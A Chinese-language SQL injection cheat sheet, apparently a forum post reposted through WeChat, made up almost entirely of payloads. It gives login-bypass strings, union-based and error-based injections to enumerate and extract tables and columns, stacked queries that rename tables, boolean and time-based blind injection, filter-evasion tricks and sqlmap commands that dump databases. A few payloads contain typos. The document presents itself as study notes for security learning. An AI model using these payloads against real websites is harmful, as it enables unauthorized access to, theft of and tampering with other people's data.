本文为看雪论坛优秀文章
看雪论坛作者ID:ArT1_
select * from users where username='$username' and password='$password';
利用点也很明确,通过闭合单引号在该查询语句的基础上添加我们想要的查询语句(此即为sql注入)。
万能密码(以上面这条查询语句为例)
'or 1=1#
username=admin&password=or 1;# //通过斜杠转义单引号
联合注入
有无回显测试
?id=-1'order by 1%23 //使用order by主要用于确定字段数
?id=1'union select 1,2,3%23
有回显注入
利用select查询
?id=-1'union select 1,version(),3%23
?id=-1'union select 1,database(),3%23
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
?id=-1'union select 1,database(), group_concat(column_name) from information_schema.columns where table_name='(数据表名)'%23
?id=-1' union select (字段名),2 from 表名 %23
1';show databases;%23
1';show tables;%23
1';show columns from (数据表名);%23
预处理
1';handler (数据表) open;handler (数据表) read first;handler (数据表) close;%23
1';rename tables `(默认表)` to `(新表)`;rename tables `(待查询的表)` to `(默认表)`; alter table `(默认表)` change `(待查询字段)` `(默认字段)` varchar(100);23
基于extractvalue()的payload:
id=a'and extractvalue(1,concat(0x7e,select(database())))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(table_name)from(information_schama.tables)where(table_schema)like('数据库名'))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(column_name)from(information_schema.columns)where(table_name)like('数据表名'))))%23
id=a' and extractvalue(1,concat(0x7e,select(group_concat(字段名))from(数据表名)))%23
id=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
布尔盲注
id=1' and length(database())<5 %23
?id=1' and (select ord(mid(group_concat(table_name),1,1))<97 information_schema.tables where table_schema=database()); %23
时间盲注
1' and 表达式 and sleep(5)%23
if(ascii(substr(database(),1),1))=97,sleep(5),1)
大小写绕过
各种字符绕过
空格:
/**/ /*!*/ /*1*/ ()
字符串截取函数:
substr substring mid left right
等于号:
in regexp like
与:
and &&
或:
or ||
limit:
offset
大于,小于号(greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值):
greatest
截断符
# %23 %00 --
select绕过
预处理绕过
1';set @sql=concat('se','lect * from user;');prepare ext from @sql;execute ext;
基于mysql8的新特性
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
(1,0x21,0x21)<(table users limit 1)
union select 1,2,name from sqlite_master where type='table' and name='(数据表)'
sqlmap的使用
python3 sqlmap.py -u http://ip:port
python3 sqlmap.py -r request.txt -p (注入点)
python3 sqlmap.py -u http://ip:port --dbs
python3 sqlmap.py -u http://ip:port -D 数据库 --tables
python3 sqlmap.py -u http://ip:port -D 数据库 -T 数据表 --columns
python3 sqlmap.py -u http://ip:port -D 数据库 -T 数据表 -C 字段名 --dump
看雪ID:ArT1_
https://bbs.pediy.com/user-home-955273.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):sql注入学习笔记
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论